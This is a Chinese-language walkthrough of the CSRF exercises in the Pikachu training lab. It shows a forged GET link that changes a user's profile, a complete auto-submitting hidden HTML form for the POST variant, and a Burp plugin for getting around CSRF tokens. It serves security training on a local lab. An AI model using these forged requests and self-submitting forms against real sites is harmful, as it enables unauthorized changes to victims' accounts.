CSRF:
介绍:
Cross-site request forgery简称为"CSRF”。
在CSF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接)
然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击也就完成了(本题是修改个人信息)。
所以CSRF攻击也被称为为"one click'"攻击。
1.CSRF(get):
我们先登录lucy的账号,点击修改信息,顺便用bp抓个包。
成功抓到数据包,看到get请求:
GET /vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=beijing&email=lucy%40pikachu.com&submit=submit
http://127.0.0.1/pikachu//vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=beijing&email=lucy%40pikachu.com&submit=submit
我们把性别改成男:
http://127.0.0.1/pikachu//vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=12345678922&add=beijing&email=lucy%40pikachu.com&submit=submit
若lucy此时登录了该网站,点击了我们构造的 url 就会修改个人信息。
这里也可以使用一些短链接的方式。lucy访问该网站即可修改信息。
2.CSRF(post):
这里依旧拿lucy的个人信息实验,我们点击随便修改一下个人信息,顺便bp抓包。
此时 lucy 信息:
post传参的话,需要我们自己创一个表单,进行提交。
sex=boy&phonenum=111111&add=beijing&email=lucy%40pikachu.com&submit=submit
--------------------
我们自己创一个html的文件,放到服务器上,
<html>
<script> <!-- 这个script是用来自动提交表单的 -->
window.onload = function() {
document.getElementById("submit").click();
}
</script>
<body>
<form action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="boy" />
<input type="hidden" name="phonenum" value="111222" />
<input type="hidden" name="add" value="beijing" />
<input type="hidden" name="email" value="lucy@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input id="submit" type="submit" value="Submit request" style="display:none"/>
<!-- style设置为display:none起到隐藏submit按钮的作用 -->
</form>
</body>
</html>
利用phpstudy将文件路径放到pikachu目录下,访问后修过成功。
http://127.0.0.1/pikachu/srf_post.php
3.CSRF Token:
这个时候,我们可以利用 burp suite 的插件 CSRF Token Tracker 来绕过
此时lucy个人信息如下,和抓包信息。
插件信息:
修改数据包,刷新lucy的个人信息即可发现数据被更改。